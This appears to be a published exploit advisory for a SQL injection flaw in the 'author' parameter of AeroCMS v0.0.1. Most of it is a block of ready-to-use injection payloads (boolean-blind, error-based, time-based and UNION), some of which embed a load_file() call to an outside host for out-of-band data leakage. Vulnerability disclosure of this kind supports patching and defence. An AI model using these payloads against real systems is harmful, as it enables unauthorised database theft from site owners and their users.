AeroCMS v0.0.1 SQL injection Vulnerability

## Title: AeroCMS-v0.0.1 SQLi
## Author: nu11secur1ty
## Vendor: https://github.com/MegaTKC
## Software: https://github.com/MegaTKC/AeroCMS/releases/tag/v0.0.1
## Reference: https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/MegaTKC/2021/AeroCMS-v0.0.1-SQLi

## Description:
The `author` parameter from the AeroCMS-v0.0.1 CMS system appears to be vulnerable to SQL injection attacks. 
The malicious user can dump-steal the database, from this CMS system and he can use it for very malicious purposes.

STATUS: HIGH Vulnerability

[+]Payload:
```mysql
---
Parameter: author (GET)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause
    Payload: author=-5045' OR 8646=8646 AND 'YeVm'='YeVm&p_id=4

    Type: error-based
    Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: author=admin'+(select load_file('\\\\7z7rajg38ugkp9dswbo345g0nrtkha518pzcp0e.kufar.com\\pvq'))+'' OR (SELECT 7539 FROM(SELECT COUNT(*),CONCAT(0x717a6a6a71,(SELECT (ELT(7539=7539,1))),0x7170716b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'mwLN'='mwLN&p_id=4

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: author=admin'+(select load_file('\\\\7z7rajg38ugkp9dswbo345g0nrtkha518pzcp0e.kufar.com\\pvq'))+'' AND (SELECT 6824 FROM (SELECT(SLEEP(5)))QfTF) AND 'zVTI'='zVTI&p_id=4

    Type: UNION query
    Title: MySQL UNION query (NULL) - 10 columns
    Payload: author=admin'+(select load_file('\\\\7z7rajg38ugkp9dswbo345g0nrtkha518pzcp0e.kufar.com\\pvq'))+'' UNION ALL SELECT NULL,NULL,CONCAT(0x717a6a6a71,0x4f617a456c7953617866546b7a666d49434d644662587149734b6d517a4e674d5471615a73616d58,0x7170716b71),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#&p_id=4
---

```

## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/MegaTKC/2021/AeroCMS-v0.0.1-SQLi)

## Proof and Exploit:
[href](https://streamable.com/ir9bjt)